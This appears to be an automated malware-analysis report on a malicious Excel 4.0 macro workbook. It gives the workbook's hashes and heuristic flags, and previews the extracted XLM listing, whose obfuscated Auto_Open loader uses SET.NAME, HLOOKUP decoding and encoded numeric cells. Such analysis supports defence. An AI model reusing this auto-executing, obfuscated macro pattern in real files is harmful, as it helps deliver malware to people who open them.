Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9055a378b1470520…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:38:27 Authoring application: Microsoft Excel First seen: 2022-06-20
MD5: 9dec7890ffea0bcd0302c864d31eeed1 SHA-1: 9169c810c97c84c398ecf3e5d6433c3918696fb7 SHA-256: 9055a378b147052085a7bc8e3fea65b5f593e60d3e3edb8ff75893ffbb0424d3
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6609 bytes
SHA-256: 920e42ee680130afc6c7d54b4f79f4e8f6238e327b19019ae87d5cc34ad5bd43
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  scNpX
' 0018     27 LABEL : Cell Value, String Constant - AdPDFJeqqzhg len=0 
' 0018     20 LABEL : Cell Value, String Constant - aJtPb len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G141 
' 0018     23 LABEL : Cell Value, String Constant - EWYPnoCz len=0 
' 0018     23 LABEL : Cell Value, String Constant - FzcJSHkG len=0 
' 0018     26 LABEL : Cell Value, String Constant - HOyvAHdghtf len=0 
' 0018     22 LABEL : Cell Value, String Constant - ihsiFZb len=0 
' 0018     24 LABEL : Cell Value, String Constant - izEowBKrU len=0 
' 0018     22 LABEL : Cell Value, String Constant - KwoUGYb len=0 
' 0018     24 LABEL : Cell Value, String Constant - mGeNolILe len=0 
' 0018     25 LABEL : Cell Value, String Constant - NCIkKtaHkH len=0 
' 0018     26 LABEL : Cell Value, String Constant - NkEDhTVcxpk len=0 
' 0018     25 LABEL : Cell Value, String Constant - nofVyALerI len=0 
' 0018     25 LABEL : Cell Value, String Constant - NQMlhkawgn len=0 
' 0018     26 LABEL : Cell Value, String Constant - NYdGxRkJekd len=0 
' 0018     20 LABEL : Cell Value, String Constant - ROrTv len=0 
' 0018     21 LABEL : Cell Value, String Constant - uCOuNj len=0 
' 0018     21 LABEL : Cell Value, String Constant - WgsXoK len=0 
' 0018     20 LABEL : Cell Value, String Constant - yFAbt len=0 
' 0018     27 LABEL : Cell Value, String Constant - yXlWXBgOxkAy len=0 
' 0018     21 LABEL : Cell Value, String Constant - zRkuwe len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  scNpX,G55,"SET.NAME("aJtPb",0+VALUE("0"))",""
'  scNpX,S57,"",996.00000000000000000000
'  scNpX,S58,"",-392.00000000000000000000
'  scNpX,S59,"",-663.00000000000000000000
'  scNpX,G60,"SET.NAME("EWYPnoCz",aJtPb)",""
'  scNpX,S60,"",-638.00000000000000000000
'  scNpX,S61,"",140.00000000000000000000
'  scNpX,G62,"SET.NAME("uCOuNj",aJtPb)",""
'  scNpX,S62,"",303.00000000000000000000
'  scNpX,G66,"SET.NAME("NYdGxRkJekd",COUNTA(NQMlhkawgn))",""
'  scNpX,G69,"SET.NAME("NkEDhTVcxpk",COUNTA(izEowBKrU))",""
'  scNpX,G73,[],""
'  scNpX,G75,"SET.NAME("NCIkKtaHkH","")",""
'  scNpX,G80,"EWYPnoCz",""
'  scNpX,G82,"SET.NAME("ihsiFZb",HLOOKUP("*",NQMlhkawgn,EWYPnoCz,FALSE))",""
'  scNpX,G87,"yFAbt",""
'  scNpX,G90,"SET.NAME("ROrTv",aJtPb)",""
'  scNpX,G93,[],""
'  scNpX,G95,"ROrTv",""
'  scNpX,G97,"KwoUGYb",""
'  scNpX,G100,"yXlWXBgOxkAy",""
'  scNpX,G103,"zRkuwe",""
'  scNpX,G106,"SET.NAME("WgsXoK",VALUE(HLOOKUP("*",izEowBKrU,zRkuwe,FALSE)))",""
'  scNpX,G108,"AdPDFJeqqzhg",""
'  scNpX,G110,"NCIkKtaHkH",""
'  scNpX,G112,"uCOuNj",""
'  scNpX,G117,NEXT(),""
'  scNpX,G122,"mGeNolILe",""
'  scNpX,G124,[],""
'  scNpX,G128,"HOyvAHdghtf",""
'  scNpX,G132,NEXT(),""
'  scNpX,G136,RETURN(),""
'  scNpX,G164,"SET.NAME("FzcJSHkG",G55)",""
'  scNpX,G168,"NQMlhkawgn",""
'  scNpX,G171,"SET.NAME("izEowBKrU",R64C12)",""
'  scNpX,G176,"SET.NAME("HOyvAHdghtf",181)",""
'  scNpX,G178,"SET.NAME("nofVyALerI",7)",""
'  scNpX,G180,FzcJSHkG(),""
'  scNpX,G181,HALT(),""

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